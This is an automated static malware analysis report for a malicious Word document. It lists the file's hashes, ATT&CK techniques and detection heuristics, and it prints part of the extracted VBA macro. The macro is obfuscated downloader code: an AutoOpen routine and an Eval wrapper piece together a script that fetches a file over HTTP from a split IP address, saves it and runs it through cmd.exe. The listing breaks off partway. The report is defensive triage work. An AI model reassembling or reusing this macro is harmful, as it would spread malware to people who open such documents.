Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbfa7e20138d94d8…

MALICIOUS

Office (OLE)

69.5 KB Created: 2016-08-25 04:16:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 470e29d4a68e1424d46a4ee070918023 SHA-1: 6de3551a719a4b2b726141299c3ae9f4e98d6948 SHA-256: dbfa7e20138d94d8081dbf79c42039992d46c4384668ee0773ce6731af86f92d
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and configured to execute, indicating an attempt to run code upon opening. The presence of CreateObject calls suggests the macro is designed to interact with the system, likely to download and execute a further stage. No specific family could be identified.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8659 bytes
SHA-256: df61290fd3af959ab0cd8da4f83c8fe53ad7a79e7730abe7467e9b0c6ec5d125
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub nahuge2(ybroflanruf5, fceflec)
ybroflanruf5.Eval (fceflec)
End Sub
        
Sub AutoOpen()
Dim dnyfsirjolly, lehaxju, opdewigu6, jimdubi, irzawopupg9, epzyzi, ekpitec3, lovnyvx0, ornorren0, rureck
'seeming stokes bulwarks turner jadedness
Dim gpibidfujda9
Dim iluby4, atadi, opcunlit, vhygut, qiblyzwol4, suwdymf0, ulyquryfp, ljonagfe8, ymmawcy8, kubwoc, ekuzuwp, olacfuvagq0, wuxalwypy0, qimontag9, ynabvok4, nmysrohw
Dim tiknowxi
Dim lewidqaj0
Dim gjeqaqefda7, ilvalko0, ibqovili3, dfindedi, ytqatnebwo, knurezunfi4, udykqatcitp, yggufpezilh9, raruvqac5, adkafhajmimj
Dim kihixoje, ovqaswudir, vnypiwlufr, gnusof, yqebyzsohj, idzykuhe, igjemudpunt4, zihav1, rbujybyf4, qafjyv8, siqrefi8, gecij1, avdosxyklo5, etyvby2, zpuzlehagsu4
Dim ebmeta2, ektotnyz, hiplyn, senkust3, dceppolgyv5, mhihkyv9, agunuzacd4, akcarqucmem0, cjazjaljoc8, ozohijbo, ogofy
Dim dvipgonrejy, zputhujtizh, kkassaxf0, inxusen1, uvtitesp6, dcupufenna, udnyzybzofd4, lcekosegg, ihadvag5, rvecvemony0, ucado2, ukozkevoj
Dim iqewuler8
'laggards cession gremlins trappings crumbliest excavation hereupon coiling
Dim adakmy, satitmo3, zcarinf, kranbuz3, bkadgoxoko7, adufoxj1, yktupute0, uvupu, ryhis2
Dim xlibevix3
Dim cpocanxun, ihkudebot1, fbavuva, cdojopiwf, pnagvypfi1, erufy4, rnaxsakry, arjedjusd, gzugzaxcu, ewhikyld, gkyzedfoq, hiwxiw, mugih
Dim ajjovasap8, ertyly0, ysatezva0, obcido6, ykytehwo, iczaxe1, wejybip, bumosir, fbikakk, kzoffovvut, ixejjyhkun9
Dim qulyv, ydcyrcywvyrf0, ynmynaxg, qvelacazf7, ivitjejt9, orkuczi0, ilganerc6, ohzacfeqe, etrugmo, lnegrofos, arxiqaw, sasihty0, apirlojyv
'wherry besot absoluteness service mutuality deflower ostentatiously
Dim ysildarcy3
Dim tegiwy, evlyby5, risasew0, dzevys0, yqegvawh2, amxakxibna3, itolh5, qhoqxusutt0, rmoxqijemr0, ymtas3, uzpuqfoqko, dgawducta4, enykuz4, iwumb0, upsovex
Dim upidv7, osumly6, izadpyja, giqxens5, xaja0, ipipteda8, fjeqne
zputhujtizh = "n(cm"
ohzacfeqe = "TTP"""
dnyfsirjolly = "GetT"
'rickshaws marauding masochist sluggard stencils fudge bonbon
fbikakk = "trea"
yggufpezilh9 = "//93"
rureck = "ctiv"
ysildarcy3 = " = n"
gecij1 = "();s"
adakmy = "oft."
pnagvypfi1 = "er( "
vhygut = ", ""h"
ynmynaxg = "m.Wr"
'recapped nightingale placings vexations strengths rebelled demonise schoolhouse unsettled
arxiqaw = ";var"
yqebyzsohj = "md.e"
cpocanxun = "ame("
ukozkevoj = "send"
udykqatcitp = "tmp_"
ivitjejt9 = "= ""c"
ulyquryfp = "eam"""
yqegvawh2 = "shel"
ilganerc6 = " (""A"
'fluke engender hoodwinked retracing backtracking
ogofy = ");st"
lcekosegg = "xe /"
ysatezva0 = "n();"
dvipgonrejy = "am.P"
ovqaswudir = "(""Sc"
ljonagfe8 = "shel"
dzevys0 = "bjec"
'battleaxe we overtaking temporary macaw
ekuzuwp = "run "
dcupufenna = "eToF"
ihadvag5 = "ing."
gnusof = "cial"
evlyby5 = "o.Ge"
ryhis2 = "(""Mi"
kzoffovvut = "ion "
ajjovasap8 = ");st"
'illustrative deceiver discernibly kindling notional undervalued
opdewigu6 = "th; "
ozohijbo = "eXOb"
mugih = "+ tm"
irzawopupg9 = "ew A"
risasew0 = ");va"
apirlojyv = "ream"
'misrepresented novelty ruffles redistributions expedience chemic
uvupu = "c "" "
ydcyrcywvyrf0 = """);v"
rnaxsakry = "en("""
etrugmo = "var "
wejybip = "2) +"
arjedjusd = "veXO"
udnyzybzofd4 = " cmd"
'rendered nigh relabellings bivouac jinxes
siqrefi8 = ");as"
agunuzacd4 = "ipt."
orkuczi0 = "ream"
satitmo3 = "stre"
qafjyv8 = "= 0;"
jimdubi = " ""\\"
lehaxju = "mp_p"
'quoins tons divination affiliations diversely
akcarqucmem0 = " 0);"
lewidqaj0 = "49/b"
wuxalwypy0 = "bcry"
zpuzlehagsu4 = ".174"
dceppolgyv5 = "ile("
'azimuthal vocalised warrens degenerated aromatics slickly covert metamorphosed furriers
nmysrohw = ".Clo"
mhihkyv9 = "osit"
atadi = "DODB"
yktupute0 = "ect "
rvecvemony0 = "ject"
ymmawcy8 = "onse"
'surviving 
... (truncated)

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